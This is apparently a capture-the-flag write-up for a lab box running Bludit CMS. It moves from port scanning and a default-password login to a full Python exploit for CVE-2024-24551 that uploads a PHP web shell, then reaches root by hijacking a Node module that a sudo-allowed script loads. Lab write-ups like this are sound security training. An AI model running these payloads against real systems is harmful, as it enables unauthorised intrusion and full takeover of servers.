Bludmoji (Advanced)
Post

Bludmoji (Advanced)

Host entries
1
10.0.160.217 bludmoji.echocity-f.com

Content

  • Default Credentials
  • Remote Code Execution (RCE) through Image API on Bludit

Reconnaissance

Initial reconnaissance for TCP ports

1
2
3
4
5
nmap -p- -sS --open --min-rate 500 -Pn -n -vvvv -oG allPorts 10.0.160.217
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.0.160.217 ()   Status: Up
Host: 10.0.160.217 ()   Ports: 80/open/tcp//http///
# Nmap done at Sun Apr 20 22:43:56 2025 -- 1 IP address (1 host up) scanned in 212.12 seconds

Exploitation

Checking service HTTP on port 80 I discovered that there is a web application that redirects you to bludmoji.echocity-f.com, so first step is to add that entry to the hosts file:

1
2
3
4
5
6
7
8
9
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters


10.0.160.217 bludmoji.echocity-f.com

Simply browsing through the page, there is a link that redirects you to an admin login page:

Searching for this Bludit CMS, there are some default credentials, but none worked except for admin:admin1234. Once logged in, and after thoroughly search through the page, there is a very interesting part of the app that catch my attention:

After some research, I found this github advisory vulnerability which redirects you to a very well written exploit for Bludit from RedGuard, the most interesting part of such article is this:

Basically, we need to activate the API, which is possible from the Plugins console, upon activation we get the neccessary token:

According with the RedGuard’s exploit, an user token is also possible, we found such token under MANAGE > Users > Security option:

Once we get all this information we can run the PoC for CVE-2024-24551: Bludit - Remote Code Execution (RCE) through Image API:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import argparse
import requests

def upload_image(target, api_token, user_token, file_name, file_content):
    boundary = "BOUNDARY_STRING"

    headers = {
        "Content-Type": f"multipart/form-data; boundary={boundary}",
        "Connection": "close",
    }

    data = f"""--{boundary}
Content-Disposition: form-data; name="token"

{api_token}
--{boundary}
Content-Disposition: form-data; name="authentication"

{user_token}
--{boundary}
Content-Disposition: form-data; name="uuid"

test
--{boundary}
Content-Disposition: form-data; name="image"; filename="{file_name}"
Content-Type: image/gif

{file_content}
--{boundary}--"""


    url = f"{target}/api/images"
    response = requests.post(
        url,
        headers=headers,
        data=data
    )

    if response.status_code == 200 and response.text.strip() == '{"status":"1","message":"Image extension not allowed."}':
        file_name = "shell.php"
        print(f"{target}/bl-content/tmp/{file_name}?cmd=id")
    else:
        print("Error: Unexpected response from the server.")
        print(response.text)


def main():
    parser = argparse.ArgumentParser(description="Generate and send a POST request.")
    parser.add_argument("--target", required=True, help="Target URL (e.g., http://localhost:8000)")
    parser.add_argument("--api-token", required=True, help="API token")
    parser.add_argument("--user-token", required=True, help="User authentication token")

    args = parser.parse_args()

    file_name = "shell.php"
    file_content = "<?php system($_GET['cmd']); ?>"

    upload_image(args.target, args.api_token, args.user_token, file_name, file_content)

if __name__ == "__main__":
    main()

Which actually uploads a shell as follows:

1
2
python3 exploit4.py --target http://bludmoji.echocity-f.com --api-token d48d560c53949da076018fc41e4aeeda --user-token 8305c08bba282636727d561c6ebb2f11
http://bludmoji.echocity-f.com/bl-content/tmp/shell.php?cmd=id

Once we visit the page, we got RCE:

Privilege Escalation

For the Privilege Escalation I then proceed to execute the command sudo -l and I can execute a script as user root without password:

1
2
3
4
5
6
www-data@bludmoji:~/html/bl-content/tmp$ sudo -l
Matching Defaults entries for www-data on bludmoji:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on bludmoji:
    (ALL : ALL) NOPASSWD: /usr/bin/node /app/bin/index.js

Its content is like this:

1
2
3
4
5
6
www-data@bludmoji:~/html/bl-content/tmp$ cat /app/bin/index.js
#! /usr/bin/env node
var args = process.argv.slice(2);
const emoji = require('emoji-poop');
console.log(emoji)

The way to escalate privileges is through a path hijacking and abusing write permissions on the imported library by require() method, in this case emoji-poop is being called without a relative path.

When Node.js does:

1
const emoji = require('emoji-poop');

It looks for emoji-poop:

  • First in node_modules relative to the script (/app/bin/node_modules/emoji-poop)
  • Then walks up the directory tree (e.g., /app/node_modules/emoji-poop, /node_modules/emoji-poop)

So, our attack vector is to create a malicious module:

1
2
mkdir -p /app/node_modules/emoji-poop
echo 'require("child_process").spawn("/bin/bash", {stdio: "inherit"});' > /app/node_modules/emoji-poop/index.js

Then run the allowed sudo command:

1
2
3
4
www-data@bludmoji:/tmp$ sudo /usr/bin/node /app/bin/index.js
root@bludmoji:/tmp# {}
whoami
root

And we ARE INSIDEEEE!!!

Post Exploitation

Flags are stored at:

/etc/passwd /etc/shadow /proc/1/environ /root

Credentials

  • Bludit default credentials are admin:admin1234

Notes

  • This time, the exploit was very sophisticated and abused a functionality that was disabled by default. It is important to search the GitHub Advisory Database for other lesser-known exploits.

References